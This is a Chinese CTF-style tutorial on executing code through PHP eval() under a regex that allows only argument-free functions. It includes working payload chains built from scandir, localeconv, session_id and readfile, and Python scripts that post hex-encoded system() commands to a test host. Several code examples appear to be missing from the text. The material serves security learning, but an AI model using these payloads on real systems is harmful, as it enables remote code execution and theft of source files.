什么是无参数RCE
传统意义上,如果我们有
1 | eval($_GET[‘code’]); |
---|---|
即代表我们拥有了一句话木马,可以进行getshell,例如
但是如下有限制
我们会发现我们使用参数则无法通过正则的校验
而该正则,正是我们说的无参数的校验,其只允许执行如下格式函数
但不允许
这样一来,失去了参数,我们进行RCE的难度则会大幅度上升。
法1:getenv()
查阅php手册,有非常多的超全局变量
我们可以使用$_ENV,对应函数为getenv()
虽然getenv()可以获取当前环境变量,但是我们从偌大的数组中取出我们制定的值成了问题。这里可以使用方法:
效果如下
但是我不想要下表,我想要数组的值,那么我们可以使用
两者结合即可有如下效果
我们则可以用爆破的方法获取数组中任意位置需要的值,那么即可使用gentenv(),并获取指定位置的恶意参数
法2:getallheaders()——Apache2环境下
之前我们获取的是所有环境变量的列表,但是我们并不需要这么多信息,仅仅http header即可,在Apache2的环境下,我们又getallheaders()可返回
我们可以看一下返回值
- array(8) {
- [“Host”]=> string(14) “106.14.114.127”
- [“Connection”]=> string(10) “keep-alive”
- [“Cache-Control”]=> string(9) “max-age=0”
- [“Upgrade-Insecure-Requests”]=> string(1) “1”
- [“User-Agent”]=> string(120) “Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36”
- [“Accept”]=> string(118) “text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3”
- [“Accept-Encoding”]=> string(13) “gzip, deflate” [“Accept-Language”]=> string(14) “zh-CN,zh;q=0.9”
- }
我们可以看到,成功返回了http header,我们可以在header中做一些自定义的手段,例如
此时我们再讲结果中的恶意命令取出
这样一来相当于我们将http header中的sky变成了我们的参数,可以用它进行bypass无参数函数执行
例如
那么可以进一步http header的sky属性进行rce
法3:get_defined_vars()
使用getallheaders()其实有局限性,因为他是Apache的函数,如果目标中间件不为apache,那么这种方法就会失效,我们也没有更加普遍的方法呢?
这里我们可以使用get_defined_vars(),首先看一下他的回显
可以发现他可以回显的全局变量
我们这里的选择就具有多样性,可以利用$_GET进行RCE,例如、
还是和之前的思路一样,将恶意参数取出
发现可以成功RCE
但一般网站喜欢对
做全局过滤,所以我们可以尝试从$_FILES下手,这就需要我们自己写一个上传
可以发现空格会被替换成_,为了防止干扰我们用hex编码进行RCE
最终脚本如下
1234567891011 | import requestsfrom io import BytesIOpayload = “system(‘ls /tmp’);”.encode(‘hex’)files = { payload: BytesIO(‘sky cool!’)}r = requests.post(‘http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));’, files=files, allow_redirects=False)print r.content |
---|---|
法4:session_id
之前我们使用$_FILES下手,其实我们还能从$_COOKIE下手:
我们有函数
可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,那么我们就有了新的思路,即hex2bin
脚本如下
12345678 | import requestsurl = ‘http://localhost/?code=eval(hex2bin(session_id(session_start())));'payload = “echo ‘sky cool’;”.encode(‘hex’)cookies = { ‘PHPSESSID’:payload}r = requests.get(url=url,cookies=cookies)print r.content |
---|---|
即可达成RCE和bypass的目的
法5:dirname()&chdir()
为什么一定要RCE呢?我们能不能直接读文件?
之前的方法都基于女可以进行RCE,如果目标真的不能RCE呢?我们能不能进行任意读取?
那么想读取文件,就必须进行目录遍历,没有参数,怎么进行目录遍历呢?
首先,我们可以使用getcwd()获取当前目录
那么怎么进行当前目录的目录遍历呢?
这样用scandir()即可
那么既然不在这一层目录,如何进行目录上跳呢?
我们用dirname()即可
那么怎么更改当前目录呢?我们发现有函数可以改变当前目录
将php的当前目录改为directory
所以我们这里在
进行如下设置即可
我们尝试读取/var/www/123
就可以进行文件读取
题解
他考了.git泄露,那我们直接读取到源码
看了一下正则匹配(?R)引用当前表达式,后面用?递归调用。只能匹配通过无参数的函数然后eval($_GET[‘exp’]);经典的无参数RCE
由于正则匹配了一下关键字比如et导致很多函数不能用,getshelle什么的基本不可能,只能考虑读源码
如何读出flag.php
想要读出flag.php,就需要有一个函数返回flag.php文件名,scndir()函数可以扫描当前目录下读文件,例如:
如何得到scandir()中的’.’
1.chr(46)
对于这种方法,又来了新的问题,46如何得到,我知道的有三种方法
- chr(rand())
- chr(time())
- chr(current(localtime(time())))
首先解释一下chr()函数,我们知道time()返回一个非常大的数,却依然能通过chr(time())得到一个点。这是因为chr()以256为一个周期,既chr(0) chr(256)他们都是相等的。比如我们可以得到1w以内就能够得到的点
因此,假设使用chr(time()),最多256秒走完一个周期,必定出现一个点。
但我本人比较喜欢用第三种
localtime(time())的返回一个数组,Array[0]为一个0~60之间的一个数字,每秒加1,所以最多一分钟就可以得到46.由于php数组内部指针默认指向第一个元素,所以current()或pos()取数组中当前元素的值,就得到了这个数字。
有关操作数组的方法有
- end() – 将内部指针指向数组中的最后一个元素,并输出
- next() – 将内部指针指向数组中的下一个元素,并输出
- prev() – 将内部指针指向数组中的上一个元素,并输出
- reset() – 将内部指针指向数组中的第一个元素,并输出
- each() – 返回当前元素的键名和键值,并将内部指针向前移动
**<font style="color:#000000;">end()</font>**
和**<font style="color:#000000;">next()</font>**
很多时候都很有用
2.current(localeconv())
localeconv()数组返回一包含本地数字及货币格式信息的数组,current(localeconv())永远是一个点
3.phpversion()
原文链接:http://www.manongjc.com/detail/13-ksgbihhdbvdbnza.html
- phpversion()返回php版本,如7.3.5
- floor(phpversion())返回7
- sqrt(floor(phpversion))返回2.6457513110646
- tan(floor(**sqrt(floor(phpversion())))返回-2.1850398632615**
- cosh(**tan(floor(sqrt(floor(phpversion()))))返回4.5017381103491**
- sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
- ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
- chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回.
- var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))扫描当前目录
- next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))返回..
4.crypy()
原文链接 https://www.jianshu.com/p/060d16584b8e
- readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));
原理:**<font style="color:#000000;">hebrevc(crypt(arg))</font>**
可以随机生成一个hash值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过ord chr只取第一个字符
- if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));
原理:crypt(serialize(array())) 原因同上
如何得到flag.php
现在我们尝试用scandir()扫描当前目录
- ?exp=print_r(scandir(current(localeconv())));
可见,flag.php是倒数第二个值,假设是倒数第一个我们可以用end(),但是并没有一个操作数组的函数能够输出数组的倒数第二个值。怎么办?请见如下3中方法
1.array_reverse()
看函数名就知道了,以相反的元素顺序返回数组
- ?exp=print_r(array_reverse(scandir(current(localeconv()))));
然后上面操作数组的方法中,next()将内部指针指向数组中的下一个元素并输出,
- next(array_reverse(scandir(pos(localeconv()))))就得到了flag.php
2.array_rand(array_filp())
array_flip()交换数组的键和值
- ?exp=print_r(array_flip(scandir(current(localeconv()))));
array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断的随机返回,本题目中的scandir()返回的数组只有5个元素,刷新几次就能刷出来flag.php
- ?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));
3.session_id(session_srart())
2020年1月13日更新<font style="color:#000000;">session_id()</font>
解题方法:
sky师傅的文章里介绍了这种方法,本题目虽然ban了hex关键字,导致hex2bin()被禁用,但是我们可以并依赖于十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的
使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。
因此我们手动设置名为PHPSESSID的cookie,并设置为flag.php
如何读flag.php的源码
因为et被ban了,所以不能使用file_get_contents(),但是可以使用readfile()或highlight_file()以及别的函数show_source()
- view-source:http://172.21.4.12:10031/?exp=print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));
- ?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
- ?exp=show_source(session_id(session_start()));